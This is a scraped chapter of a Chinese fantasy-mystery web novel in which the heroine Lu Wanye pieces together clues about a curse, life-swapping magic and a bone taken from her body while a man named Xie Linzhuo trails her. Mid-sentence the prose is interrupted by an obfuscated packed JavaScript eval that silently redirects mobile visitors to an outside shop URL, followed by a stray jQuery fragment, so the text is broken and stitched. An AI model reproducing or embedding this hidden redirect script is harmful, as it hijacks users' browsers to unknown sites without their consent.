文趣网 > 其他小说 > 仵作妖神她杀疯了 > 8. 戏谑
    “你为什么不直接来问我?”

    晨光落在他脸上。他站在那里,像等了很久,终于等到了。

    鹿挽叶看着他。手按在刀柄上。没有用力。

    “你会说真话?”她问。

    谢临酌的笑容没有变。“会。”

    “那你说。荣王是谁?”

    “萧衡。先皇的异姓结拜弟弟。”

    “贵女官和他什么关系?”

    “她替他做事。”

    鹿挽叶把这些话收下,没有追问。她转过身,朝巷口走去。

    脚步声跟了上来,隔着两步。

    “你跟着我做什么?”她没有回头。

    “怕你找不到路。”

    “去哪的路?”

    “你想去的任何地方。”

    鹿挽叶的嘴角动了一下。不是笑,是冷。

    她不需要他带路。但她没有赶他。赶了也会跟上来。

    她把从冷宫到现在所有的线索在脑子里过了一遍。

    一,断头案。

    疯妃子的话还在她耳朵里——“她把她们的头都砍下来挂在绳子上!晴天娃娃!”不是一个人。是很多人。

    那些头挂在绳子上,在风里晃,像晴天娃娃。

    有人把头缝回去了。用针线,一针一针地缝。

    缝头的人还活着。她知道这个,因为贵女官说过“头是缝上去的”。贵女官知道缝头的人是谁。贵女官什么都知道。

    二,诅咒。

    断头案之后,诅咒降下来了。施暴者要被剥去性命。

    谁下的诅咒?是妖。

    那些弱女子被杀了,没有人替她们伸冤。妖替她们伸了冤。妖下了诅咒,要让施暴者死。

    施暴者不想死。他们要想办法活着。

    三,换命术。

    他们搞出了换命之术。用别人的命,抵自己的命。要有人替他们死。

    那些被送进小楼的人,那些被妖祟吃掉的人,那些从刘府消失的人——都是替死鬼。

    绿蚁是失败的一个,脑子被掏空了,但她还活着。她的身体还记得。

    她扑回来抓住鹿挽叶的裙子,不是脑子在指挥,是身体在指挥。身体记得被送进小楼的那一天,记得恐惧,记得不想死。

    四,那根骨头。

    冷宫那扇门后面,梦里有一个没有骨头的人。

    那个人不是她,但有一瞬间,那个人变成了她。

    那种感觉太真实了——不是在看别人,是在看自己。自己的身体,自己的手,自己的骨头。

    那个人没有骨头了,但还站着。怨气撑着她。

    那根骨头在袖子里,温热的,和她心口的封印跳着同一个节奏。不是别人告诉她的。是她的身体知道的。

    鹿挽叶把手伸进袖中,摸到那根骨头。温热的。隔着布料都能感觉到。

    她把它攥紧了。骨头在回应她——不是疼,是那种被什么东西从很远的地方拉了一下的感觉。

    她不知道自己是谁。不知道萧咏歌是谁。不知道天机楼是什么地方。不知道五年前发生了什么。

    但她的骨头知道一些事。

    那根骨头——在袖子里,温热的——和她的骨头说着话。她听不懂,但她的身体在回应。

    她下凡来是查案的。查妖族为什么濒危。查人类和妖族之间到底有什么仇恨。

    天上那些老家伙说妖族出了事,让她下来看看。她以为只是查案。

    但她查到的每一件事——断头案、诅咒、换命术、那根骨头——都和她自己有关。不是她想搅进去的。是她本来就在里面。

    “你怎么不说话?”谢临酌在身后问。

    鹿挽叶没有回答。

    她在想那根骨头。那根骨头在阵眼里。贵女官每月十五去小楼。今天是十五。

    小楼里有阵眼,阵眼里有骨头。她要拿到那根骨头。

    不是为了报仇。不是为了正义。是因为她的身体在叫。

    她没有回答。她只是看着他。

    谢临酌的笑容还挂在嘴角,但已经开始僵了。他等了一息,两息,三息。

    她不说话。她什么都不说。

    “荣王跟你说了什么?”他先开口了。

    鹿挽叶没有说话。

    “他是不是跟你说了小楼的事?”

    没有说话。

    “他是不是跟你说了贵女官的事?”

    鹿挽叶看着他。他的手指在身侧开始摩挲——拇指在食指侧面,一下,一下。不是紧张,是克制。克制自己不要一口气把所有知道的东西都倒出来。

    她看出来了。她什么都没说,但她看出来了。

    “你从荣王府出来,”他说,声音低了一些,“脸色不太好。”

    鹿挽叶的目光没有动。她看着他,像在看一扇半开的门。她不推,门自己会开。

    “天机楼还留着,”他说,“你以前住的地方。”

    鹿挽叶停了下来,看了谢临酌一眼,带着烦躁和一点警告。

    “你好吵啊,你到底要干什么?”

    谢临酌支吾两声,漂亮的桃花眼带着些慌乱低头,“没有,就是和你说,丁灵在等你,你住的有人打扫。你走的时候什么样,现在还是什么样。”

    鹿挽叶没有说话,但她很敏锐捕捉到了“丁灵”这个词,她是谁,和自己很熟吗?

    这些人是把他当成了谁?和梦里面的那个女子有关系吗?那个人是谁?不会是她自己吧?

    如果前世自己真的死那么惨,那眼前这些人可都不用活了。

    这个人自己听到的时候有点异样,说不清楚这种感觉,不完全是杀意,好像是一种愤怒?

    “是这样啊,那你讲讲吧。”鹿挽叶看了谢临酌一眼,带着戏谑和放松,她允许他跟自己说这些东西,是真的有点好奇。

    还有一点隐秘的警惕和杀意。

    鹿挽叶把目光移开。她看了一眼巷口的青石板,看了一眼从屋檐滴下来的露水,看了一眼墙根下长出来的青苔。

    然后她转过身,朝巷口走去。

    “你去哪?”他在身后问。

    她没回答。脚步声跟了上来,隔着两步。

    她加快,他也加快。她慢下来,他也慢下来。

    “你打算就这么走?”他的声音从身后传来,带着一丝小心翼翼的试探,“什么都不问?”

    鹿挽叶没有回头。

    “你会说。”她的声音很平,这句话没有什么情绪,像是再说今天下雨一样,带着绝对的确定性。

    身后沉默了几息。只有脚步声,青石板被踩得咯吱咯吱响。

    巷子很长,两边的墙很高,把晨光切成一条窄窄的带子,落在她肩上。她的影子拖在身后,和他的影子叠在一起。

    “你以前——”他说了两个字,又停住了。

    他的嘴唇动了一下,像有很多话堵在喉咙里,又不知道该从哪一句开始。她什么都不问,他反而不知道该说什么了。

    她不知道拿到之后会发生什么。不知道换命术停了之后皇帝会不会死。不知道荣王会不会杀她。

    但她必须拿到。身体在叫她。

    从冷宫那扇门后面出来之后,她的身体就一直在叫她。不是声音,是那种缺了什么东西的感觉。像一根弦松了,一直在震,嗡嗡地响,停不下来。

    只有把那根骨头拿

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17950780|214164||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    回来,弦才能紧。

    “你当年……”谢临酌的声音从身后传来,说了一半又咽了回去。

    鹿挽叶没有回头,没有追问。他在怕。怕问了她不答,怕问了她会走,怕问了之后答案不是他想听的。

    她加快了脚步。

    天还早。太阳从东边升起来,把整条巷子照得发白。

    她的影子从身后移到了身前,踩在青石板上,一步一步地往前推。

    她看着自己的影子,忽然觉得那不是影子——是另一个人。那个人没有骨头,但还站着。那个人嘴角有痣。那个人在梦里变成了她。

    她打了个寒颤。不是冷。是骨头在抖。

    “你冷?”谢临酌在身后问。

    “没有。”

    她把那根骨头从袖中取出来,握在掌心里。

    阳光照在上面,半透明的,里面的东西在流动。她不知道那是什么。但她的身体知道。

    封印在心口跳了一下,和这根骨头同一个节奏。

    她不知道这根骨头是谁的。

    但她的身体认得它。

    她把骨头收回去,攥紧了拳头。指甲嵌进掌心里,微微的疼。她用这个疼把自己拉回现实。

    梦里的那个没有骨头的人,嘴角的痣,和她一样。那个人不是她,但有一瞬间,那个人变成了她。

    那种感觉不是害怕,是比害怕更深的、说不清楚的东西——像是站在一口井边往下看,井里有水,水里倒映着自己的脸,但那不是自己的脸,是另一个人的脸。

    她盯着那张脸看,那张脸也盯着她看。然后那张脸忽然笑了。

    鹿挽叶猛地停住脚步。身后的人也停住了。

    “怎么了?”谢临酌问。

    鹿挽叶没有回答。她站在那里,心跳得很快。不是害怕,是身体在回忆。

    她在冷宫那扇门后面经历过的事,不是梦。那些东西——灰白色的荒原,没有骨头的人,那双空洞的眼睛——都是真的。

    那个人在等她。等她回来。

    “你没事吧?”谢临酌的声音又近了一些。他往前走了一步,又退回去了。不敢靠太近。

    “没事。”鹿挽叶继续走。

    她把所有的线索在脑子里又过了一遍。

    断头案。诅咒。换命术。那根骨头。

    这四个东西是一个链条。没有断头案,就没有诅咒。没有诅咒,就没有换命术。没有换命术,那根骨头就不会被放在阵眼里。

    那根骨头是她的。有人把它从她身体里拿走了。她不知道是谁。但她知道那个人还活着。那个人在小楼里等她。

    今天是十五。

    鹿挽叶把那根骨头从袖中取出来,又看了一次。

    阳光照在上面,里面的东西在流动——像活的。

    她把骨头攥紧,大步朝前走去。

    “跟上了。”她说。

    “跟得上。”身后的声音不远不近。

    她没再说话。他也没再说话。

    两个人走在晨光里,一个在前,一个在后。影子叠在一起。

    天还亮着。离天黑还早。

    但她已经开始等了。等她走到小楼,等贵女官打开那扇门,等她把那根骨头从阵眼里取出来。

    拿到那根骨头——这是她下一步必须做的事。没有这一步,剩下的所有线索都是散的。

    只有拿到骨头,才能知道它为什么在那里,才能知道谁把它放进去的,才能知道她自己到底是谁。

    她把手按在心口。封印在跳。和袖子里那根骨头一样的节奏。

    快了……

    她是谁,到底是怎么回事?这些,马上她就可以知道了……